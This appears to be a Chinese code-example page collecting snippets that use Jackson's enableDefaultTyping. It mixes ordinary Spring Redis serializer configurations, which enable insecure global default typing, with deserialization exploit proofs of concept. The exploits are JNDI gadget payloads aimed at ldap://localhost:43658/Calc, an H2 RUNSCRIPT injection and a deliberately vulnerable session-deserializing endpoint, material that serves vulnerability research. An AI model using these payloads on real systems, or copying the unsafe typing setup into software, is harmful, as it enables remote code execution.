下面列出了com.fasterxml.jackson.databind.ObjectMapper#enableDefaultTyping ( ) 实例代码，或者点击链接到github查看源代码，也可以在右侧发表评论。
@Bean
public RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory factory) {
RedisTemplate<String, Object> template = new RedisTemplate<>();
template.setConnectionFactory(factory);
//使用Jackson2JsonRedisSerializer来序列化和反序列化redis的value值（默认使用JDK的序列化方式）
Jackson2JsonRedisSerializer serializer = new Jackson2JsonRedisSerializer(Object.class);
ObjectMapper mapper = new ObjectMapper();
mapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
serializer.setObjectMapper(mapper);
template.setValueSerializer(serializer);
//使用StringRedisSerializer来序列化和反序列化redis的key值
template.setKeySerializer(new StringRedisSerializer());
template.afterPropertiesSet();
return template;
}
/**
* RedisTemplate配置
* @param factory
* @return
*/
@Bean
public RedisTemplate<String, String> redisTemplate(RedisConnectionFactory factory) {
StringRedisTemplate template = new StringRedisTemplate(factory);
//定义key序列化方式
//RedisSerializer<String> redisSerializer = new StringRedisSerializer();//Long类型会出现异常信息;需要我们上面的自定义key生成策略，一般没必要
//定义value的序列化方式
Jackson2JsonRedisSerializer jackson2JsonRedisSerializer = new Jackson2JsonRedisSerializer(Object.class);
ObjectMapper om = new ObjectMapper();
om.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
om.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
jackson2JsonRedisSerializer.setObjectMapper(om);
// template.setKeySerializer(redisSerializer);
template.setValueSerializer(jackson2JsonRedisSerializer);
template.setHashValueSerializer(jackson2JsonRedisSerializer);
template.afterPropertiesSet();
return template;
}
/**
* OBJECT_AND_NON_CONCRETE
*
* @throws IOException
*/
private static void testGlobalDefaultType2() throws IOException {
AA aa = new AA();
aa.setXx(2);
A a = new A();
a.setObject(new B());
a.setAa(aa);
ObjectMapper mapper = new ObjectMapper();
//todo 会发现，如果改成 JAVA_LANG_OBJECT 就会报错，OBJECT_AND_NON_CONCRETE 控制接口类的反序列化
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
String json = mapper.writeValueAsString(a);
// {"i":1,"object":["com.threedr3am.bug.jackson.test.DefaultTypeTest$B",{"i":2}],"aa":["com.threedr3am.bug.jackson.test.DefaultTypeTest$AA",{"xx":2}]}
System.out.println(json);
//todo 通过指定非Object class为其他class反序列化成功测试，可以知道，开启了这种全局默认类型，就算不存在Object也可以利用反序列化
json = "{\"i\":1,\"object\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$B\",{\"i\":2}],\"aa\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$AA\",{\"xx\":2}]}";
a = mapper.readValue(json, A.class);
System.out.println(a.getAa().getClass().getName());
//todo 通过指定非Object class为其他class反序列化成功测试，可以知道，开启了这种全局默认类型，就算不存在Object也可以利用反序列化，但需要的是接口interface类型字段
json = "{\"i\":1,\"object\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$B\",{\"i\":2}],\"c\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$C\",{\"i\":2}]}";
a = mapper.readValue(json, A.class);
System.out.println(a.getAa().getClass().getName());
}
public static void run(String rootPath) {
try {
Class.forName("org.h2.Driver").newInstance();
writeSQL();
String jsonStr = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", " +
"{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '/tmp/inject.sql'\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
Object obj = mapper.readValue(jsonStr, java.lang.Object.class);
System.out.println("objectified");
System.out.println("stringified: " + mapper.writeValueAsString(obj));
} catch (Exception e) {
e.printStackTrace();
}
}
@Bean
public RedisCacheConfiguration redisCacheConfiguration() {
Jackson2JsonRedisSerializer<Object> jackson2JsonRedisSerializer =
new Jackson2JsonRedisSerializer<>(Object.class);
ObjectMapper om = new ObjectMapper();
om.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
om.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
jackson2JsonRedisSerializer.setObjectMapper(om);
RedisSerializationContext.SerializationPair<Object> pair =
RedisSerializationContext.SerializationPair.fromSerializer(jackson2JsonRedisSerializer);
return RedisCacheConfiguration.defaultCacheConfig()
.entryTtl(Duration.ofHours(1))
.serializeValuesWith(pair)
.serializeKeysWith(
RedisSerializationContext.SerializationPair.fromSerializer(
new StringRedisSerializer()));
}
/**
* {@inheritDoc}
*
* @see marshalsec.MarshallerBase#unmarshal(java.lang.Object)
*/
@Override
public Object unmarshal ( String data ) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
return mapper.readValue(data, Object.class);
}
@Test
public void testSerialWithTypeList() throws Exception{
JsonMapper jsonMapper = JsonMapper.ignoreNull();
ObjectMapper mapper = jsonMapper.getObjectMapper();
mapper.enableDefaultTyping(DefaultTyping.NON_FINAL, As.PROPERTY);
List<StoreDetailVo> list = Lists.newArrayList();
StoreDetailVo storeDetailVo = new StoreDetailVo();
storeDetailVo.setStoreId(1L);
list.add(storeDetailVo);
String s = mapper.writeValueAsString(list);
System.out.println(s);
byte[] bytes = jsonMapper.toJsonBytes(list);
List<StoreDetailVo> list2 = jsonMapper.fromJson(bytes, new TypeReference<List<StoreDetailVo>>() {
});
assertThat(list2).isEqualTo(list2);
String str1 = LangUtils.newString(bytes);
System.out.println("json str1: " + str1);
TestJsonData u1 = new TestJsonData();
u1.setCreate_time(new Timestamp(new Date().getTime()));
u1.setUser_name("user_name");
String str = jsonMapper.toJson(u1);
System.out.println("json str: " + str);
bytes = jsonMapper.toJsonBytes(u1);
String str2 = LangUtils.newString(bytes);
System.out.println("json str2: " + str2);
/*Map jsonstr = jsonMapper.fromJson(bytes, Map.class);
System.out.println("json map: " + jsonstr);*/
}
/**
* 配置自定义Json序列化器 jackson2
*
* @param redisConnectionFactory ：redis连接工厂
* @return ：RedisTemplate
*/
@Bean
public RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory redisConnectionFactory) {
RedisTemplate<String, Object> template = new RedisTemplate<>();
template.setConnectionFactory(redisConnectionFactory);
// 使用jackson2序列化
Jackson2JsonRedisSerializer<Object> jackson2JsonRedisSerializer = new Jackson2JsonRedisSerializer<>(Object.class);
ObjectMapper mapper = new ObjectMapper();
mapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
mapper.registerModule(new Jdk8Module())
.registerModule(new JavaTimeModule());
jackson2JsonRedisSerializer.setObjectMapper(mapper);
StringRedisSerializer stringRedisSerializer = new StringRedisSerializer();
// key采用String的序列化方式
template.setKeySerializer(stringRedisSerializer);
// hash的key也采用String的序列化方式
template.setHashKeySerializer(stringRedisSerializer);
// value序列化方式采用jackson
template.setValueSerializer(jackson2JsonRedisSerializer);
// hash的value序列化方式采用jackson
template.setHashValueSerializer(jackson2JsonRedisSerializer);
template.afterPropertiesSet();
// 设置默认使用Jackson序列化
template.setDefaultSerializer(new Jackson2JsonRedisSerializer<Object>(Object.class));
return template;
}
public static void main(String[] args) throws IOException {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
//复现是复现了，但是这样的payload恕我直言，比鸡肋还鸡肋
mapper.addMixIn(JNDIConnectionProvider.class, AbstractJNDIConnectionProvider.class);
String json = "[\"org.quartz.utils.JNDIConnectionProvider\", {\"jndiUrl\": \"ldap://localhost:43658/Calc\"}]";
mapper.readValue(json, Object.class);
}
public static void main(String[] args) throws IOException {
String json = "[\"ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://localhost:43658/Calc\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Object o = mapper.readValue(json, Object.class);
mapper.writeValueAsString(o);
}
/**
* NON_CONCRETE_AND_ARRAYS
*
* @throws IOException
*/
private static void testGlobalDefaultType3() throws IOException {
AA aa = new AA();
aa.setXx(2);
B[] bArray = new B[3];
bArray[0] = new B();
bArray[1] = new B();
bArray[2] = new B();
A a = new A();
a.setObject(bArray);
a.setAa(aa);
ObjectMapper mapper = new ObjectMapper();
//todo NON_CONCRETE_AND_ARRAYS 支持前面两种类型的数组类型
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
String json = mapper.writeValueAsString(a);
// {"i":1,"object":["[Lcom.threedr3am.bug.jackson.test.DefaultTypeTest$B;",[{"i":2},{"i":2},{"i":2}]],"aa":["com.threedr3am.bug.jackson.test.DefaultTypeTest$AA",{"xx":2}]}
System.out.println(json);
//todo 理论上前面能支持的，这个都支持
json = "{\"i\":1,\"object\":[\"[Lcom.threedr3am.bug.jackson.test.DefaultTypeTest$B;\",[{\"i\":2},{\"i\":2},{\"i\":2}]],\"aa\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$AA\",{\"xx\":2}]}";
a = mapper.readValue(json, A.class);
System.out.println(a.getAa().getClass().getName());
//todo 通过指定非Object class为其他class反序列化成功测试，可以知道，开启了这种全局默认类型，就算不存在Object也可以利用反序列化，但需要的是接口interface类型字段
json = "{\"i\":1,\"object\":[\"[Lcom.threedr3am.bug.jackson.test.DefaultTypeTest$B;\",[{\"i\":2},{\"i\":2},{\"i\":2}]],\"c\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$C\",{\"i\":2}]}";
a = mapper.readValue(json, A.class);
System.out.println(a.getAa().getClass().getName());
}
@RequestMapping("/jackson")
@ResponseBody
public String jackson(@RequestParam(value = "sess") String session) throws IOException, ClassNotFoundException {
String webUserJackson = new String(Base64.getDecoder().decode(session), "utf-8");
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
User webUser = (User) objectMapper.readValue(webUserJackson, Object.class);
return "Hello " + webUser;
}
@Test
public void testSerialWithTypeList() throws Exception{
JacksonXmlMapper jacksonXmlMapper = JacksonXmlMapper.ignoreNull();
ObjectMapper mapper = jacksonXmlMapper.getObjectMapper();
mapper.enableDefaultTyping(DefaultTyping.NON_FINAL, As.PROPERTY);
List<StoreDetailVo> list = Lists.newArrayList();
StoreDetailVo storeDetailVo = new StoreDetailVo();
storeDetailVo.setStoreId(1L);
list.add(storeDetailVo);
String s = mapper.writeValueAsString(list);
System.out.println(s);
}
private static Jackson2JsonRedisSerializer serializeConfig() {
Jackson2JsonRedisSerializer jackson2JsonRedisSerializer =
new Jackson2JsonRedisSerializer<>(Object.class);
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
objectMapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
jackson2JsonRedisSerializer.setObjectMapper(objectMapper);
return jackson2JsonRedisSerializer;
}
/**
* Default constructor.
* @param clazz is the class of object to serialize/deserialize.
*/
public JsonSerializer(Class<T> clazz) {
this.clazz = clazz;
mapper = new ObjectMapper();
mapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.NONE);
mapper.setVisibility(PropertyAccessor.FIELD, JsonAutoDetect.Visibility.ANY);
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
}
public static void main(String[] args) throws IOException {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.springframework.aop.config.MethodLocatingFactoryBean\", {\"targetBeanName\": \"ldap://localhost:43658/Calc\", \"methodName\":\"Foo\",\"beanFactory\":[\"org.springframework.jndi.support.SimpleJndiBeanFactory\", {\"shareableResources\":[\"ldap://localhost:43658/Calc\"]}]}]";
Object o = mapper.readValue(json, Object.class);
}
@Bean
public RedisSerializer<Object> redisSerializer() {
//创建JSON序列化器
Jackson2JsonRedisSerializer<Object> serializer = new Jackson2JsonRedisSerializer<>(Object.class);
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
serializer.setObjectMapper(objectMapper);
return serializer;
}
/**
* Redis缓存使用的ObjectMapper，包含了字段类型定义和基础字段
*
* @return ObjectMapper
* @see GenericJackson2JsonRedisSerializer
*/
@Bean
public ObjectMapper cacheObjectMapper() {
ObjectMapper objectMapper = this.withoutFilterObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
objectMapper.registerModule(new SimpleModule().addSerializer(new CustomNullValueSerializer(null)));
return objectMapper;
}
public void exampleTwo(String JSON) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
Object obj = mapper.readValue(JSON, ABean.class);
}
private static Object deserialize(ObjectMapper mapper, File f) throws IOException {
mapper.enableDefaultTyping();
return mapper.readValue(FileUtils.readFileToByteArray(f), Object.class);
}